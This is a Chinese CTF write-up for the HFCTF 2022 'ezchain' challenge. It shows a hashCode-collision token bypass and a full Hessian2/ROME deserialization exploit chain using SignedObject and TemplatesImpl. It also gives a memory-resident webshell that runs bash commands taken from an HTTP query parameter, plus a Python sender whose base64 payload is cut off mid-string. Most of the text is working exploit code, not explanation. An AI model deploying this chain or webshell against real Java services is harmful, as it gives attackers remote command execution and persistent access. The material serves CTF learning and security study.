环境分析
环境提供了docker-compose.yml,nginx.conf文件,从两个文件中可疑分析出是不出网的环境
nginx.conf:
server {
listen 80;
server_name localhost;
location / {
root /usr/share/nginx/html; #收到/路径请求会访问/usr/share/nginx/html目录
index index.html index.htm; #设置首页
proxy_pass http://web:8090;
}
#error_page 404 /404.html;
# redirect server error pages to the static page /50x.html
#
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
}
docker-compose.yml
version: '2.4'
services:
nginx:
image: nginx:1.15
ports:
- "0.0.0.0:8090:80"
restart: always
volumes:
- ./nginx.conf:/etc/nginx/conf.d/default.conf:ro
networks: #加入的网络
- internal_network
- out_network
web:
build: ./
restart: always
volumes:
- ./flag:/flag:ro
networks: #加入的网络
- internal_network
networks: #设置网络
internal_network:
internal: true #与外部隔离的网络,应该独立的网络
ipam:
driver: default #默认桥接bridge
out_network:
ipam:
driver: default #默认桥接bridge
Jar包分析
题目给了一个jar包,用jeb反编译,找到其中的index类:
package com.ctf.ezchain;
import com.caucho.hessian.io.Hessian2Input;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.util.HashMap;
import java.util.Map;
import java.util.Objects;
import java.util.concurrent.Executors;
public class Index {
static class MyHandler implements HttpHandler {
public void handle(HttpExchange t) throws IOException {
Map queryMap = this.queryToMap(t.getRequestURI().getQuery());
String response = "Welcome to HFCTF 2022";
if(queryMap != null) {
String token = (String)queryMap.get("token");
if(Objects.hashCode(token) == "HFCTF2022".hashCode() && !"HFCTF2022".equals(token)) {
InputStream is = t.getRequestBody();
try {
new Hessian2Input(is).readObject();
}
catch(Exception e) {
response = "oops! something is wrong";
}
}
else {
response = "your token is wrong";
}
}
t.sendResponseHeaders(200, ((long)response.length()));
OutputStream os = t.getResponseBody();
os.write(response.getBytes());
os.close();
}
public Map queryToMap(String query) {
if(query == null) {
return null;
}
HashMap result = new HashMap();
String[] v5 = query.split("&");
int v3;
for(v3 = 0; v3 < v5.length; ++v3) {
String[] entry = v5[v3].split("=");
if(entry.length > 1) {
result.put(entry[0], entry[1]);
}
else {
result.put(entry[0], "");
}
}
return result;
}
}
public static void main(String[] args) throws Exception {
System.out.println("server start");
HttpServer server = HttpServer.create(new InetSocketAddress(8090), 0);
server.createContext("/", new MyHandler());
server.setExecutor(Executors.newCachedThreadPool());
server.start();
}
}
第一层是绕过一个hashcode碰撞,第二层是明显的Hessian2Input反序列化,再查看pom文件发现有Rome-utils,应该就是Hessian的Rome反序列化利用链。同时结合上述分析,环境是不出网的,因此无法使用JNDI注入,所以解决的办法应该是二次反序列化然后注入内存马
绕过hashcode
目标是绕过if(Objects.hashCode(token) == “HFCTF2022”.hashCode() && !“HFCTF2022”.equals(token)),搜索绕过hashcode的方法,发现hashcode的生成方式:
public int hashCode() {
int h = hash;
if (h == 0 && value.length > 0) {
char val[] = value;
for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
}
hash = h;
}
return h;
}
可以看到,假设需要使得两个长度为9的字符串的hashcode相等,可以让前7个字符完全相同,剩下两个字符满足31a+b=31x+y即可,写代码生成:
import java.util.Objects;
public class hashcode_colli {
public static void main(String[] args) throws Exception {
String alphebat = "";
for (char c = 'A'; c <= 'Z'; c++) {
alphebat += c;
}
for (char c = 'a'; c <= 'z'; c++) {
alphebat += c;
}
for (char c = '0'; c <= '9'; c++) {
alphebat += c;
}
String secret = "HFCTF2022";
for (int i = 0; i < alphebat.length(); i++) {
for (int j = 0; j < alphebat.length(); j++) {
String token = "HFCTF20"; //:Y1\"nOJF-6A'>|r- HFCTF201Q
token+=alphebat.charAt(i);
token+=alphebat.charAt(j);
if (Objects.hashCode(token) == secret.hashCode() && !secret.equals(token)) {
System.out.println("SUCCESS");
System.out.println(token);
}
}
}
}
}
得到HFCTF201Q和HFCTF200p两个可用的token,使用HFCTF200p绕过检测
Hessian2反序列化
SignedObject二次反序列化
由于环境是不出网的,因此无法使用JNDI注入来利用ROME链,这里采用二次反序列化来进行利用。二次反序列化的目的是为了将一个受限的反序列化转换为一个不受限的反序列化。如果Java中有一个类的方法可以自己实现反序列化那么就能满足了我们的需求,而java.security.SignedObject#getObject()可以很好的满足我们的需求
具体利用的链是最短的Gadget–BadAttributeValueException:
BadAttributeValueExpException#readObject
--ToStringBean#toString
--Templateslmpl#getOutputProperties
本地运行代码:
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
public class signedobject {
public static void main(String[] args) throws Exception {
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
KeyPair keyPair = keyPairGenerator.generateKeyPair();
PrivateKey aPrivate = keyPair.getPrivate();
Signature signature = Signature.getInstance("MD5withRSA"); ///
TemplatesImpl tempalteslmpl = (TemplatesImpl)getTempalteslmpl();
ToStringBean toStringBean = new ToStringBean(Templates.class,tempalteslmpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1); //避免实例化时触发
setFieldValue(badAttributeValueExpException,"val",toStringBean);
SignedObject signedObject = new SignedObject(badAttributeValueExpException,aPrivate,signature);
signedObject.getObject();
}
public static Object getTempalteslmpl() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] evilBytes = getEvilBytes();
setFieldValue(templates,"_name","Hello");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
setFieldValue(templates,"_bytecodes",new byte[][]{evilBytes});
return templates;
}
public static void setFieldValue(Object object,String field_name,Object field_value) throws Exception {
Class clazz = object.getClass();
Field declaredField = clazz.getDeclaredField(field_name);
declaredField.setAccessible(true);
declaredField.set(object,field_value);
}
public static byte[] getEvilBytes() throws Exception {
ClassPool classPool = new ClassPool(true);
CtClass helloAbstractTranslet = classPool.makeClass("HelloAbstractTranslet");
CtClass ctClass = classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
helloAbstractTranslet.setSuperclass(ctClass);
CtConstructor ctConstructor = new CtConstructor(new CtClass[]{},helloAbstractTranslet);
ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
helloAbstractTranslet.addConstructor(ctConstructor);
byte[] bytes = helloAbstractTranslet.toBytecode();
helloAbstractTranslet.detach();
return bytes;
}
public static ByteArrayOutputStream serialize(Object object) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
hessian2Output.writeObject(object);
return byteArrayOutputStream;
}
public static void unserialize(InputStream inputStream) throws Exception {
Hessian2Input hessian2Input = new Hessian2Input(inputStream);
hessian2Input.readObject();
}
}
成功弹出计算器
触发SignedObject#getObject()
现在需要找一个可以触发SignedObject#getObject()方法的利用链即可,ROME的扩展利用链里面有很多能操作getter的前置链:ToStringBean#toString() /toString(final String prefix)和EqualsBean#beanEquals/EqualsBean#equals
Hessian2在反序列化恢复Map对象的时候会调用MapDeserializer类来恢复对象
public Object readMap(AbstractHessianInput in) throws IOException {
Object map;
if (this._type == null) {
map = new HashMap();
} else if (this._type.equals(Map.class)) {
map = new HashMap();
} else if (this._type.equals(SortedMap.class)) {
map = new TreeMap();
} else {
try {
map = (Map)this._ctor.newInstance();
} catch (Exception var4) {
throw new IOExceptionWrapper(var4);
}
}
in.addRef(map);
while(!in.isEnd()) {
((Map)map).put(in.readObject(), in.readObject());
}
in.readEnd();
return map;
}
这里就可以调用HashMap#put–HashMap#hash()–key.hashCode() 再往下就是我们熟悉的利用链了,而ROME中的EqualsBean类中重写了hashCode()方法,里面会调用EqualsBean#beanHashCode()
public int beanHashCode() {
return obj.toString().hashCode();
}
这里的obj非常好控制。于是就有了这样一条利用链
HashMap#put()
--HashMap#hash()
--EqualsBean#hashCode()
--EqualsBean#beanHashCode()
--ToStringBean#toString()
--ToStringBean#toString(final String prefix)
最后整体的利用链
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.HashMap;
public class Attack {
public static void main(String[] args) throws Exception {
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
KeyPair keyPair = keyPairGenerator.generateKeyPair();
PrivateKey aPrivate = keyPair.getPrivate();
Signature signature = Signature.getInstance("MD5withRSA"); ///
TemplatesImpl tempalteslmpl = (TemplatesImpl)getTempalteslmpl();
ToStringBean toStringBean = new ToStringBean(Templates.class,tempalteslmpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1); //避免实例化时触发
setFieldValue(badAttributeValueExpException,"val",toStringBean);
SignedObject signedObject = new SignedObject(badAttributeValueExpException,aPrivate,signature);
ToStringBean toStringBean1 = new ToStringBean(SignedObject.class,signedObject);
EqualsBean equalsBean = new EqualsBean(String.class,"123");
HashMap hashMap = new HashMap();
hashMap.put(equalsBean,"1");
setFieldValue(equalsBean,"beanClass",ToStringBean.class);
setFieldValue(equalsBean,"obj",toStringBean1);
//serialize(hashMap);
unserialize("hf.ser");
//hashmap -- equalsBean -- toStringBean
}
public static Object getTempalteslmpl() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] evilBytes = getEvilBytes();
setFieldValue(templates,"_name","Hello");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
setFieldValue(templates,"_bytecodes",new byte[][]{evilBytes});
return templates;
}
public static void setFieldValue(Object object,String field_name,Object field_value) throws Exception {
Class clazz = object.getClass();
Field declaredField = clazz.getDeclaredField(field_name);
declaredField.setAccessible(true);
declaredField.set(object,field_value);
}
public static byte[] getEvilBytes() throws Exception {
ClassPool classPool = new ClassPool(true);
CtClass helloAbstractTranslet = classPool.makeClass("HelloAbstractTranslet");
CtClass ctClass = classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
helloAbstractTranslet.setSuperclass(ctClass);
CtConstructor ctConstructor = new CtConstructor(new CtClass[]{},helloAbstractTranslet);
ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
helloAbstractTranslet.addConstructor(ctConstructor);
byte[] bytes = helloAbstractTranslet.toBytecode();
helloAbstractTranslet.detach();
return bytes;
}
public static void serialize(Object object) throws Exception {
FileOutputStream fileOutputStream = new FileOutputStream("hf.ser");
Hessian2Output hessian2Output = new Hessian2Output(fileOutputStream);
hessian2Output.writeObject(object);
hessian2Output.flush(); //刷新缓冲区,写字符时候用到
hessian2Output.close(); //关闭流对象,关闭前会刷新一次缓冲区
// ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
// Hessian2Output hessian2Output1 = new Hessian2Output(byteArrayOutputStream);
// hessian2Output1.writeObject(object);
// hessian2Output1.close();
// System.out.println(byteArrayOutputStream);
}
public static void unserialize(String filename) throws Exception {
FileInputStream fileInputStream = new FileInputStream(filename);
Hessian2Input hessian2Input = new Hessian2Input(fileInputStream);
hessian2Input.readObject();
}
}
反序列化回显
最后一步就是回显内容,这里采用内存马来进行回显
本题的web服务是由JDK自带的com.sun.net.httpserver所实现的,所以写个关于com.sun.net.httpserver的内存马就行。因为web中间件都是多线程的,所以我们可以从线程对象中获取它Thread.currentThread()
内存马:
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.reflect.Field;
public class memshell extends AbstractTranslet implements HttpHandler {
@Override
public void handle(HttpExchange httpExchange) throws IOException {
String query = httpExchange.getRequestURI().getQuery();
String[] split = query.split("=");
String response = "SUCCESS"+"\n";
if (split[0].equals("shell")) {
String[] cmd = new String[]{"bash","-c",split[1]};
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
byte[] bytes = new byte[1024];
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
int flag=-1;
while((flag=inputStream.read(bytes))!=-1){
byteArrayOutputStream.write(bytes,0,flag);
}
response += byteArrayOutputStream.toString();
byteArrayOutputStream.close();
}
httpExchange.sendResponseHeaders(200,response.length());
OutputStream outputStream = httpExchange.getResponseBody();
outputStream.write(response.getBytes());
outputStream.close();
}
public memshell(){ //public和default的区别 public对所有类可见;default对同一个包内可见;templatlmpl默认实例化使用public memshell()
try{
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Field threadsFeld = threadGroup.getClass().getDeclaredField("threads");
threadsFeld.setAccessible(true);
Thread[] threads = (Thread[])threadsFeld.get(threadGroup);
Thread thread = threads[1];
Field targetField = thread.getClass().getDeclaredField("target");
targetField.setAccessible(true);
Object object = targetField.get(thread);
Field this$0Field = object.getClass().getDeclaredField("this$0");
this$0Field.setAccessible(true);
object = this$0Field.get(object);
Field contextsField = object.getClass().getDeclaredField("contexts");
contextsField.setAccessible(true);
object = contextsField.get(object);
Field listField = object.getClass().getDeclaredField("list");
listField.setAccessible(true);
java.util.LinkedList linkedList = (java.util.LinkedList)listField.get(object);
object = linkedList.get(0);
Field handlerField = object.getClass().getDeclaredField("handler");
handlerField.setAccessible(true);
handlerField.set(object,this);
}catch(Exception exception){
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
剩下只需要把calc的字节码换成memshell的字节码即可,然后使用脚本发送payload,最终的exp:
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.HashMap;
import java.util.Base64;
public class Attack {
public static void main(String[] args) throws Exception {
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
KeyPair keyPair = keyPairGenerator.generateKeyPair();
PrivateKey aPrivate = keyPair.getPrivate();
Signature signature = Signature.getInstance("MD5withRSA"); ///
TemplatesImpl tempalteslmpl = (TemplatesImpl)getTempalteslmpl();
ToStringBean toStringBean = new ToStringBean(Templates.class,tempalteslmpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1); //避免实例化时触发
setFieldValue(badAttributeValueExpException,"val",toStringBean);
SignedObject signedObject = new SignedObject(badAttributeValueExpException,aPrivate,signature);
ToStringBean toStringBean1 = new ToStringBean(SignedObject.class,signedObject);
EqualsBean equalsBean = new EqualsBean(String.class,"123");
HashMap hashMap = new HashMap();
hashMap.put(equalsBean,"1");
setFieldValue(equalsBean,"beanClass",ToStringBean.class);
setFieldValue(equalsBean,"obj",toStringBean1);
serialize(hashMap);
//unserialize("hf.ser");
//hashmap -- equalsBean -- toStringBean
}
public static Object getTempalteslmpl() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] evilBytes = getEvilBytes();
setFieldValue(templates,"_name","Hello");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
setFieldValue(templates,"_bytecodes",new byte[][]{evilBytes});
return templates;
}
public static void setFieldValue(Object object, String field_name, Object field_value) throws Exception {
Class clazz = object.getClass();
Field declaredField = clazz.getDeclaredField(field_name);
declaredField.setAccessible(true);
declaredField.set(object,field_value);
}
public static byte[] getEvilBytes() throws Exception{
byte[] bytes = ClassPool.getDefault().get("memshell").toBytecode();
return bytes;
}
public static byte[] getCalcBytes() throws Exception {
ClassPool classPool = new ClassPool(true);
CtClass helloAbstractTranslet = classPool.makeClass("HelloAbstractTranslet");
CtClass ctClass = classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
helloAbstractTranslet.setSuperclass(ctClass);
CtConstructor ctConstructor = new CtConstructor(new CtClass[]{},helloAbstractTranslet);
ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
helloAbstractTranslet.addConstructor(ctConstructor);
byte[] bytes = helloAbstractTranslet.toBytecode();
helloAbstractTranslet.detach();
return bytes;
}
public static void serialize(Object object) throws Exception {
FileOutputStream fileOutputStream = new FileOutputStream("hf.ser");
Hessian2Output hessian2Output = new Hessian2Output(fileOutputStream);
hessian2Output.writeObject(object);
hessian2Output.flush(); //刷新缓冲区,写字符时候用到
hessian2Output.close(); //关闭流对象,关闭前会刷新一次缓冲区
ByteArrayOutputStream ser = new ByteArrayOutputStream();
Hessian2Output hessianOutput=new Hessian2Output(ser);
hessianOutput.writeObject(object);
hessianOutput.close();
String base = Base64.getEncoder().encodeToString(ser.toByteArray());
System.out.println(base);
}
public static void unserialize(String filename) throws Exception {
FileInputStream fileInputStream = new FileInputStream(filename);
Hessian2Input hessian2Input = new Hessian2Input(fileInputStream);
hessian2Input.readObject();
}
}
随便写个脚本发送即可
# -*-coding:utf-8-*-
import requests
import base64
body = base64.b64decode("SEMwJ2NvbS5yb21ldG9vbHMucm9tZS5mZWVkLmltcGwuRXF1YWxzQmVhbpIJYmVhbkNsYXNzA29iamBDD2phdmEubGFuZy5DbGFzc5EEbmFtZWEwKWNvbS5yb21ldG9vbHMucm9tZS5mZWVkLmltcGwuVG9TdHJpbmdCZWFuQzApY29tLnJvbWV0b29scy5yb21lLmZlZWQuaW1wbC5Ub1N0cmluZ0JlYW6SCWJlYW5DbGFzcwNvYmpiYRpqYXZhLnNlY3VyaXR5LlNpZ25lZE9iamVjdEMaamF2YS5zZWN1cml0eS5TaWduZWRPYmplY3STDHRoZWFsZ29yaXRobQdjb250ZW50CXNpZ25hdHVyZWMKTUQ1d2l0aFJTQUIVmqztAAVzcgAuamF2YXgubWFuYWdlbWVudC5CYWRBdHRyaWJ1dGVWYWx1ZUV4cEV4Y2VwdGlvbtTn2qtjLUZAAgABTAADdmFsdAASTGphdmEvbGFuZy9PYmplY3Q7eHIAE2phdmEubGFuZy5FeGNlcHRpb27Q/R8+GjscxAIAAHhyABNqYXZhLmxhbmcuVGhyb3dhYmxl1cY1Jzl3uMsDAARMAAVjYXVzZXQAFUxqYXZhL2xhbmcvVGhyb3dhYmxlO0wADWRldGFpbE1lc3NhZ2V0ABJMamF2YS9sYW5nL1N0cmluZztbAApzdGFja1RyYWNldAAeW0xqYXZhL2xhbmcvU3RhY2tUcmFjZUVsZW1lbnQ7TAAUc3VwcHJlc3NlZEV4Y2VwdGlvbnN0ABBMamF2YS91dGlsL0xpc3Q7eHBxAH4ACHB1cgAeW0xqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnQ7AkYqPDz9IjkCAAB4cAAAAAFzcgAbamF2YS5sYW5nLlN0YWNrVHJhY2VFbGVtZW50YQnFmiY23YUCAARJAApsaW5lTnVtYmVyTAAOZGVjbGFyaW5nQ2xhc3NxAH4ABUwACGZpbGVOYW1lcQB+AAVMAAptZXRob2ROYW1lcQB+AAV4cAAAABh0AAZBdHRhY2t0AAtBdHRhY2suamF2YXQABG1haW5zcgAmamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUxpc3T8DyUxteyOEAIAAUwABGxpc3RxAH4AB3hyACxqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlQ29sbGVjdGlvbhlCAIDLXvceAgABTAABY3QAFkxqYXZhL3V0aWwvQ29sbGVjdGlvbjt4cHNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAAAdwQAAAAAeHEAfgAVeHNyACljb20ucm9tZXRvb2xzLnJvbWUuZmVlZC5pbXBsLlRvU3RyaW5nQmVhbgAAAAAAAAABAgACTAAJYmVhbkNsYXNzdAARTGphdmEvbGFuZy9DbGFzcztMAANvYmpxAH4AAXhwdnIAHWphdmF4LnhtbC50cmFuc2Zvcm0uVGVtcGxhdGVzAAAAAAAAAAAAAAB4cHNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWVxAH4ABUwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAARCcr+ur4AAAA0AOYKAHgAeQoAegB7CAB8CgAIAH0IAH4IAH8KAAgAgAcAgQgAgggAgwoAhACFCgCEAIYKAIcAiAcAiQoADgCKCgCLAIwKAA4AjQcAjgoAEgCKCgASAI8KAA4AkAoAEgCQCgAOAJEKAAgAkgoAeACTCgB4AJQKAAgAlQoAlgCXCgCWAJEKADEAigoAmACZCgCYAJoKAJsAnAgAXAoAnQCeCgCfAKAKAJ8AoQcAXQgAoggAowgApAgApQcApgoAKwCnCAB0CgCfAKgHAKkHAKoHAKsHAKwBAAZoYW5kbGUBACgoTGNvbS9zdW4vbmV0L2h0dHBzZXJ2ZXIvSHR0cEV4Y2hhbmdlOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAA2NtZAEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAtpbnB1dFN0cmVhbQEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEABWJ5dGVzAQACW0IBABVieXRlQXJyYXlPdXRwdXRTdHJlYW0BAB9MamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW07AQAEZmxhZwEAAUkBAAR0aGlzAQAKTG1lbXNoZWxsOwEADGh0dHBFeGNoYW5nZQEAJUxjb20vc3VuL25ldC9odHRwc2VydmVyL0h0dHBFeGNoYW5nZTsBAAVxdWVyeQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABXNwbGl0AQAIcmVzcG9uc2UBAAxvdXRwdXRTdHJlYW0BABZMamF2YS9pby9PdXRwdXRTdHJlYW07AQANU3RhY2tNYXBUYWJsZQcAqgcArQcAgQcAOQcArgcAPQcAiQEACkV4Y2VwdGlvbnMHAK8BAAY8aW5pdD4BAAMoKVYBAAt0aHJlYWRHcm91cAEAF0xqYXZhL2xhbmcvVGhyZWFkR3JvdXA7AQALdGhyZWFkc0ZlbGQBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAHdGhyZWFkcwEAE1tMamF2YS9sYW5nL1RocmVhZDsBAAZ0aHJlYWQBABJMamF2YS9sYW5nL1RocmVhZDsBAAt0YXJnZXRGaWVsZAEABm9iamVjdAEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAC3RoaXMkMEZpZWxkAQANY29udGV4dHNGaWVsZAEACWxpc3RGaWVsZAEACmxpbmtlZExpc3QBABZMamF2YS91dGlsL0xpbmtlZExpc3Q7AQAMaGFuZGxlckZpZWxkBwCpAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcAsAEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADW1lbXNoZWxsLmphdmEHAK0MALEAsgcAswwAtAC1AQABPQwASAC2AQAIU1VDQ0VTUwoBAAVzaGVsbAwAtwC4AQAQamF2YS9sYW5nL1N0cmluZwEABGJhc2gBAAItYwcAuQwAugC7DAC8AL0HAL4MAL8AwAEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDABWAFcHAK4MAMEAwgwAwwDEAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAMUAxgwAxwC1DADIAFcMAMkAygwAywDMDADNAM4MAM8A0AcA0QwAwwDSBwDTDADUANUMANYA1wcA2AwA2QDaBwDbDADcAN0HAN4MAN8A4AwA4QDiAQAGdGFyZ2V0AQAGdGhpcyQwAQAIY29udGV4dHMBAARsaXN0AQAUamF2YS91dGlsL0xpbmtlZExpc3QMAOEA4wwA5ADlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEACG1lbXNoZWxsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAImNvbS9zdW4vbmV0L2h0dHBzZXJ2ZXIvSHR0cEhhbmRsZXIBACNjb20vc3VuL25ldC9odHRwc2VydmVyL0h0dHBFeGNoYW5nZQEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQANZ2V0UmVxdWVzdFVSSQEAECgpTGphdmEvbmV0L1VSSTsBAAxqYXZhL25ldC9VUkkBAAhnZXRRdWVyeQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAnKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbGFuZy9TdHJpbmc7AQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBAARyZWFkAQAFKFtCKUkBAAV3cml0ZQEAByhbQklJKVYBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEABWNsb3NlAQAGbGVuZ3RoAQADKClJAQATc2VuZFJlc3BvbnNlSGVhZGVycwEABShJSilWAQAPZ2V0UmVzcG9uc2VCb2R5AQAYKClMamF2YS9pby9PdXRwdXRTdHJlYW07AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAUamF2YS9pby9PdXRwdXRTdHJlYW0BAAUoW0IpVgEAEGphdmEvbGFuZy9UaHJlYWQBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsBAA5nZXRUaHJlYWRHcm91cAEAGSgpTGphdmEvbGFuZy9UaHJlYWRHcm91cDsBABBqYXZhL2xhbmcvT2JqZWN0AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAPamF2YS9sYW5nL0NsYXNzAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwEAA3NldAEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sY